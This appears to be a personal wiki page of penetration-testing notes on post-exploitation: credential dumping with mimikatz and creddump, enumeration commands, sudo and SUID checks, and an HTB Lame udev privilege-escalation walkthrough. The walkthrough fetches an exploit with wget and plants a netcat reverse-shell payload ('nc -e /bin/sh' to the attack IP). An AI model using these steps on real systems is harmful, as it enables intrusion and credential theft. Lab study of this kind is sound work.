The gMan nixWiki

This page is read only. You can view the source, but not change it. Ask your administrator if you think this is wrong.
====== Post-Exploitation ======

===== Review =====

**The six steps/stages of a PenTest...**
  - Pre-Engagement: Planning & Scope
  - Recon: Information Gathering
  - Scanning
  - Exploitation
  - Post-Exploitation
  - Post-Engagement: Report

----


===== Overview =====

**Outline of the Post-Exploitation Stage:**
  - Pivot
    - Horizontal Movement: Lateral Moves
    - Vertical Movement: Privilege Escalation
  - Additional Recon
    - Identify new targets previously not visible
    - GOAL: Enumeration (build a list of new, potential targets not previously visible)
      * Users: usernames & passwords (cracking: most common post-exploitation attack)
      * Groups: for lateral movement and/or privilege escalation
      * Forest(s): in Active Directory (AD) environments
      * Sensitive Data: because that's why we are here... right?
      * Unencrypted Files: because they contain information we may be able to leverage
  - Avoid Detection
  - Exfiltration
  - Clean-Up
    * Concealment
    * Retain Access

----

===== First Thing =====

After you've compromised a system, one of the //**first things**// you want to try is acquiring the local credential store (passwords).

**Windows:** The go-to tool is ''mimikatz'' (it can read hashes directly from memory).

**Linux:** The ''creddump'' package contains...
  - ''cachedump'': dumps cashed credentials
  - ''lsadump'': dumps LSA Secrets
  - ''pwdump'': dumps password hashes

Linux passwords are usually found in ''/etc/shadow''.
  * You can simply copy that file to your attack machine and crack offline (if you have root).
  * Therefore, priv esc is a key part of acquiring credentials.

----

====== Local Enumeration ======

Once you have gained access to a machine, you need to enumerate (additional recon) to explore opportunities for additional movement (lateral or vertical).

===== Windows =====

Local Windows enumeration is not as straightforward as Linux. Here are some examples...

<code>
## from cmd.exe, regular user: 

# Print OS name and version:
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

# Display user accounts
net users

# Display info on particular user
net user Guest

# Network interface info: 
ipconfig

# Routing information 
route print

# IP/MAC mapping information
arp -a

# More...
netsh firewall show state  # check firewall state
netsh firewall show config # check firewall settings
tasklist /SVC              # check tasks & services
net start
DRIVEQUERY

# Find low-hanging fruit:
wmic qfe get Caption,Description,HotFixID,InstalledOn

</code>

**Note:** The Windows Management Instrumentation Command line (WMIC) is a software utility that allows users to performs Windows Management Instrumentation (WMI) operations with a command prompt.

===== Linux =====

**Common Attack Vectors:**
  * SUID/SGID files
  * Cron jobs
  * The kernel
  * Check to see if ''/etc/passwd'' and ''/etc/shadow'' and readable and/or writable by world.
  * Check sudo: ''sudo -l'' (if it hangs, it's waiting for a password; kill & reconnect)
  * You can also ''find'' backup files (.bak; might have login creds in them) and files owned by root but world readable and/or writable.

----

====== Privilege Escalation ======

===== Linux =====

==== SUDO ====

''sudo'' is the "super user do" command. 
  * It allows users to escalate their privileges based on settings in the ''/etc/sudoers'' file.
  * When the ''sudo'' command is called, the ''sudoers'' file is checked and rights are granted if they are permitted. 

Therefore, //**always**// review the ''sudoers'' file after you gain access to a machine.
  * Figure out which accounts you want to target based on the rights they have.
  * Try to compromise accounts with sudo privilege.

One of the first commands you want to execute in order to abuse sudoer rights: ''sudo -l''
  * This will list ("-l" is for "list") the sudoers.
  * This shows you the user account names and privileges they have within the sudo environment.

----

==== SUID ====

**SUID:** Set User ID.  **SGID:** Set Group ID
  * These are special bits of a file that tell Linux to run the executable as the owner (SUID) or as the group (SGID) of the file, not as the user who launched it. 

To find all the files on a system that have the SUID bit set: 

<code>
find / -perm -4000
# or
find / -perm /4000

# To see all the details:
find / -perm -u=s -type f 2>/dev/null
# or
find / -user root -perm -4000 -exec ls -ldb {} \;
# note: you need a space between {} and \;
</code>

----

==== udevd ====

If you get a user/daemon shell, you need to escalate your privileges to root. Check udevd...

[[https://www.exploit-db.com/search?q=udev|Four local Linux exploits using udevd]] to escalate privileges to root: 
  - Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalation
  - Linux Kernel UDEV < 1.4.1 - 'Netlink' Local Privilege Escalation (Metasploit)
  - Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) UDEV < 1.4.1 - Local Privilege Escalation (2)
  - Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local Privilege Escalation (1)

[[https://www.youtube.com/watch?v=DoUZFHwZntY&feature=youtu.be&t=8m40s&ab_channel=rwbnetsec|Walk-Through Video]] described below: 

On the target machine, see if udev is running: 

<code>ps ax | grep udevd</code>

On the target machine, check the version of udev; run:

<code>
dkpg -l | grep udev
# On HTB Lame I got version 117-8
</code>

Google the udev version or do a ''searchsploit udev'' and see what comes up. The YouTuber referenced above liked the 8572.c exploit. **Note:** The searchsploit results show a Path that is local in: /usr/share/exploitdb/exploits/...

<code>
-------------------------------------------------------- ---------------------------------
 Exploit Title                                          |  Path
-------------------------------------------------------- ----------------------
Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV <  | linux/local/8478.sh
Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) UDEV < 1.4 | linux/local/8572.c
Linux Kernel 4.8.0 UDEV < 232 - Local Privilege Escalat | linux/local/41886.c
Linux Kernel UDEV < 1.4.1 - 'Netlink' Local Privilege E | linux/local/21848.rb
-------------------------------------------------------- ----------------------
</code>

First, spin up a web server on hour Kali box (your attack machine, your machine) so we can move the exploit over onto the target box: 

<code>start apache2 service</code>

Copy the exploit file over to the web server subdir:

<code>cp /usr/share/exploitdb/exploits/linux/local/8572.c /var/www/html/</code>

Check & Read: 
  * cd into ''/var/www/html'' and make sure your file is there. Open it up with an editor and look at what it needs to run.
  * The Usage section of the file (at the top, scroll down) will tell you how to use the exploit.
    * Pass the PID of the udevd netlink socket (listed in /proc/net/netlink, usually is the udevd PID minus 1) as argv[1].
    * The exploit will execute ''/tmp/run'' (a text file named "run" that lives in the /tmp directory) as root so throw whatever payload you want in there.  

From your shell over on the target, in the /tmp directory, copy the file from your Kali attack machine onto the target machine using wget:

<code>wget 10.10.14.11/8572  # that's the IP of your Kali/attack machine</code>

Build your run file on the target, in the /tmp directory. Remember, the /tmp/run file is being used as the payload for the udev exploit. So... build a text file...

<code>
touch run
echo '#!/bin/sh' >> run
echo '/bin/netcat -e /bin/sh 10.10.14.11 5555' >> run
</code>

When the udev exploit runs, it will execute netcat with the reverse shell going to my attack machine

You need to compile that .c file you copied to the target machine: 

<code>gcc 8572.c -o 8572  # name it whatever you want</code>

Set up the listener on your Kali (host/attack) machine to catch the shell we're throwing out from the target:

<code>nc -nvlp 5555  # make sure it's the same port number</code>

Now the listener is waiting for a connection on the Kali attack machine...

Run the udev exploit on the target using the netlink socket PID as argv[1]. This creates a reverse shell back to your Kali attack machine.

<code>./8572 2687</code>

You should have a reverse shell on your Kali machine with root privileges on the target machine. Done.

----

===== Windoze =====

==== LSA Secrets Registry ====

The **LSA Secrets Registry** contains the password of the currently logged-in user in an encrypted form.
  * You can find the LSA Secrets Registry here: ''HKEY_LOCAL_MACHINE/Security/Policy/Secrets''
  * You can find the encryption key to the user's password in the parent directory: ''HKEY_LOCAL_MACHINE/Security/Policy''

So, if you have admin access to the Windows Registry, you can recover the encrypted password and its key fairly easily.